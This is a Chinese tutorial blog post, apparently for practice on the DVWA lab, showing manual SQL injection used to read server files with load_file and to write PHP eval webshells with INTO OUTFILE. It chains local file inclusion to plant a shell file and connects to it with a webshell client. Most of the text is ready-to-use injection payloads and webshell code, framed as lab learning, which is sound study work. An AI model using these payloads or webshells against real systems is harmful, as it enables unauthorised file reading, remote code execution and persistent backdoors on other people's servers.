工具

靶机——metasploitable2
环境——DVWA,(low等级下)
菜刀——蚁剑

权限查看

查看mysql是否有对函数load_file(),outfile()函数的限制
(securefilepriv的值是否为NULL)

show global variables like '%secure%';
NULL 表示不可用, 空 表示可用

' order by 2--   查看字段数
' union all select database(),user()--   查看当前数据库和用户查看当前用户是否有文件读写的权限:
1' and (select File_priv from mysql.user where user='root' and host='localhost')='Y'--
1' and (select File_priv from mysql.user where user='root' and host='%')='Y'--
//注: 我在metasploitable2 的数据库里查了 root@ 后面接的的是 % ,
但是从浏览器上查的是localhost 具体原因我也不清楚
如果遇到的话,就两个都试一遍。

不清楚如何手工注入的可以点击下面的链接看看!
SQL注入原理一



发现当前用户拥有对文件读写的权限

load_file / into out file

load_file()
条件:

  • 知道文件的绝对路径
  • 能使用union
  • 对web目录有读权限

如果有过滤单引号,则可以将函数中的路径进行hex或者char编码

1' union select load_file('/etc/passwd'),2--
如果有过滤  '  :
1' union select load_file(\'/etc/passwd\'),2--
也可以16进制编码,或者转成 ASCII码
编码解决!16进制(用编码即不用单引号)


into outfile()
条件:

  • 要有file_priv权限
  • 知道网站的绝对路径
  • 对web有写的权限
  • 没有过滤单引号
写入部分有单引号记得 转译 \
' union select  '<?php @eval($_POST[\'hack\'])?>',2 into outfile '/tmp/shell.php'--
' union select  '<?php @eval($_POST[\'hack\'])?>',2 into outfile '/tmp/shell.txt'--
(明明有读写的权限,但是无法写入 /var/www/ 这个目录下,可以写入 /tmp/ ,但是这样就连不上菜刀了,弄了一晚上没弄明白……
然后就是不加路径,直接传,可以传,但不知道传哪去了,这就尴尬)
' union select  '<?php eval($_POST[\'hack\'])?>',2 into outfile '/var/www/dvwa/shell.php'--
' union select '<?php eval($_POST[\'hack\'])?>',2 into outfile 'shell.php'#
' union select  '<?php eval($_POST[\'hack\'])?>',2 into outfile '/var/www/dvwa/vulnerabilities/sqli/shell.php'--
(3个都不行)
存在过滤的时候:
如果写入的信息带有单引号 ,可以hex 编码,或者转成 ASCII码

尝试写入 /tmp 目录下,虽然会报这个警告,但是文件是已经写入进去了!
由于网页只对 /var/www/ 目录下有读取权限,所以无法使用菜刀连接了!


但是在DVWA里有文件包含漏洞,所以可以本地包含一个文件

构造木马: /tmp/shell.txt
' union select  '<?fputs(fopen("shell01.php","w"),\'<?php @eval($_POST[caidao]);?>\')?>',2 into outfile '/tmp/shell.txt'--
这串代码的意思是:
将 <?fputs(fopen("shell01.php","w"),\'<?php @eval($_POST[caidao]);?>\')?> 写入 /tmp/shell.txt
然后通过 文件包含 运行 shell.txt 里的 php 代码,
而 <?fputs(fopen("shell01.php","w"),\'<?php @eval($_POST[caidao]);?>\')?> 这串代码的意思是:
在文件包含那个目录( /var/www/dvwa//vulnerabilities/fi)创建 shell01.php 文件,
并写入 <?php @eval($_POST[caidao]);?> 这串代码菜刀连接的链接:http://192.168.47.133/dvwa/vulnerabilities/fi/shell01.php

可以参考-文件包含漏洞
第一步: 将代码写入 /tmp/shell.txt

发现成功写入!

第二步: 远程包含 /tmp/shell.txt
发现成功执行!


第三步: 使用菜刀连接


至此手工 SQL注入木马 就结束了!
另外:如果有哪位同学也遇到了上面有权限但无法写入 /var/www的情况,如果知道原因还请告解!谢谢!

SQL注入一句话木马(load_file/out file)相关推荐

  1. 后台登录密码绕过+sql注入+一句话木马 实验演示(盾灵)

    环境 Windows Server 2008(虚拟机)   安装phpStudy,安装dunling 盾灵投稿系统 dunling是一个CMS在线内容管理器 dirb是Kali内置的一个基于字典的We ...

  2. php mysql 注入一句话木马_渗透技术--SQL注入写一句话木马原理

    讲一下SQL注入中写一句话拿webshell的原理,主要使用的是 SELECT ... INTO OUTFILE 这个语句,下面是一个语句的例子: SELECT * INTO OUTFILE 'C:\ ...

  3. sqlmap写入一句话木马

    工具 靶机--metasploitable2 攻击机--kali 环境--Mutillidae 菜刀--蚁剑 主要参数 sqlmap参数:--file-read=RFILE Read a file f ...

  4. SQL防注入大全——史上最全的 SQL 注入资料

    什么是 SQL 注入速查表? SQL注入速查表是可以为你提供关于不同种类 SQL注入漏洞 的详细信息的一个资源.这份速查表对于经验丰富的渗透测试人员,或者刚开始接触 Web应用安全 的初学者,都是一份 ...

  5. SQL注入之sqli-labs(八)

    目录 (八)第四十六关到五十三关 (1)补充知识 (2)第四十六关 (3)第四十七关 (4)第四十八关 (5)第四十九关 (6)46-49关使用一句话木马 (7)第五十关 (8)第五十一关 (9)第五 ...

  6. SQL注入上传一句话木马

    利用sql注入上传一句话木马 导读 1. sql注入的危害 2. 文件写入 2.1 webshell.一句话木马.后门 webshell(大马) 一句话木马 木马文件的危害 2.2 文件写入的前提条件 ...

  7. 一句话木马SQL注入

    目录 1.搭建靶机环境 (1)实验环境及思路 (2)搭建靶机环境 2.用Navicat构建一句话SQL注入木马 3.通过菜刀连接靶机 1.搭建靶机环境 (1)实验环境及思路 靶机:centos7 以安 ...

  8. sql注入与一句话木马

    0x00 sql注入之一句话木马 首先介绍一下一句话木马: 一句话木马是一种基于 B/S结构的简短脚本,通过这个脚本,执行POST来的任意参数语句,可以提交任意内容,黑客借此进行SQL注入或拿到SHE ...

  9. 全网最详细的渗透测试靶机实操步骤——vulnhub靶机实战(七)IMF【包含了sql注入,文件上传,gif图片木马制作,缓冲区溢出漏洞sploit等诸多知识点的靶机,超多干货】

    靶机地址:https://www.vulnhub.com/entry/imf-1,162/ 靶机难度:中级(CTF) 靶机发布日期:2016年10月30日 靶机描述:欢迎使用" IMF&qu ...

最新文章

  1. 7 环境变量 立即生效_MySQL5.7升级到8.0过程详解
  2. C++ 中隐藏DOS调用的命令行窗口
  3. SAP MM T-code MD04的使用,是有前提的!
  4. 千呼万唤,ACS始出来
  5. linux 文本处理 awk 几个特殊的内置变量
  6. 【ASM 翻译系列第二弹:ASM 12C 版本新特性】
  7. leetcode C++ 42. 接雨水 给定 n 个非负整数表示每个宽度为 1 的柱子的高度图,计算按此排列的柱子,下雨之后能接多少雨水。 上面是由数组 [0,1,0,2,1,0,1,3,2,
  8. linux内核md5,浅谈MD5及简单使用
  9. 漫画:什么是HashMap?
  10. 计算机进制简称,NO.A.0007——二进制;计算机容量单位B、KB、MB、GB和TB关系
  11. python seaborn_Python数据分析之Seaborn(样式风格)
  12. pythonweb测试_python的web自动化测试
  13. python机器学习-糖尿病预测模型
  14. IP地址、网络号、主机号、网络地址、子网掩码、网关、192.168.0.1/24是什么意思
  15. PHPWIND7.3.2设置伪静态方法
  16. 5、蓝桥杯之手机尾号评分
  17. c++多线程之packaged_task
  18. uni-app 获取移动设备的MAC地址
  19. Semi-supervised semantic segmentation needs strong, varied perturbations
  20. 大事件!PCIe SSD与SATA SSD同价啦

热门文章

  1. HTML CSS之复合选择器中的交集选择器、并集选择器、后代选择器、子元素选择器、相邻兄弟选择器、属性选择器
  2. 抽象方法和抽象类规则
  3. win10在此计算机上找不到系统映像,解决Win10系统Windows找不到文件确定是否正确...
  4. C语言-广度优先遍历
  5. AUTOCAD——面域
  6. jsp实现一个简单的登陆界面(不连数据库)
  7. 深入剖析 grep 命令
  8. 小程序的三种弹框showToast、showModal、showLoading
  9. 在我们使用vue-admin-templete进行二次开发的时候,我们会发现有些是英文,比如分页里面的每页尺码。
  10. 如何提升会议体验感和氛围感?